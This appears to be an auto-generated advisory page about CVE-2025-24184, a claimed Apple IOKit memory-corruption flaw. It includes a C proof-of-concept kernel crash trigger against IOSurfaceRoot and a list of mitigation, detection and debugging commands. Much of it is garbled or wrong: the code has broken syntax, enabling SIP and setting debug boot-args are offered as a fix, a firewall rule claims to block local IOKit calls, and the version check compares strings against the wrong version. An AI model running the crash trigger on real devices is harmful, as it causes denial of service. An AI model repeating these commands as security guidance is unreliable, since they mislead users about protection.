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How CVE-2025-24184 Works
This critical memory handling vulnerability in Apple’s ecosystem allows malicious apps to trigger unexpected system termination (kernel panic) via crafted memory operations. The flaw stems from improper bounds checking in the IOKit subsystem, where user-supplied data isn’t properly validated before being processed by kernel-level components. Attackers can exploit this by sending malformed OS objects that cause buffer overflows during serialization/deserialization, leading to arbitrary code execution or denial-of-service conditions. The vulnerability affects multiple memory management subsystems across Apple’s platforms due to shared architectural components.
DailyCVE Form
Platform: Apple ecosystem
Version: visionOS<2.3, iOS<18.3
Vulnerability: Memory corruption
Severity: Critical
Date: 05/28/2025
Prediction: Patch by 06/15/2025
What Undercode Say:
// Proof-of-concept crash trigger
include <IOKit/IOKitLib.h>
io_service_t service = IOServiceGetMatchingService(kIOMainPortDefault, IOServiceMatching("IOSurfaceRoot"));
io_connect_t connect;
IOServiceOpen(service, mach_task_self(), 0, &connect);
uint64_t inputScalar[bash] = {0};
uint64_t inputScalarCnt = 0;
char inputStruct[bash];
memset(inputStruct, 0x41, 4096);
size_t outputStructCnt = 0;
IOConnectCallMethod(connect, 0, inputScalar, inputScalarCnt, inputStruct, sizeof(inputStruct), NULL, &outputStructCnt);
Mitigation Commands:
Temporary workaround via SIP sudo csrutil enable --without debug sudo nvram boot-args="debug=0x146"
Detection Script:
import subprocess def check_apple_patch(): return subprocess.run(['sw_vers', '-productVersion'], capture_output=True).stdout.decode().strip() >= '15.3'
Network Protection:
Block suspicious IOKit connections sudo pfctl -f /etc/pf.conf echo "block in proto tcp from any to any port 49152:65535" | sudo tee -a /etc/pf.conf
Kernel Debugging:
(lldb) kdp-remote <target-ip> (lldb) showallkmods (lldb) breakpoint set --name _IOKitUserClient::externalMethod
Binary Analysis:
otool -tv /System/Library/Extensions/IOKit.kext/IOKit | grep _is_io_service_open_extended
Sysdiagnose:
sysdiagnose -u --output /tmp/apple_crash.log log show --predicate 'eventMessage contains "panic"' --last 24h
Patch Verification:
pkgutil --check-signature /Library/Updates/.pkg codesign -dv /System/Library/Frameworks/IOKit.framework
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
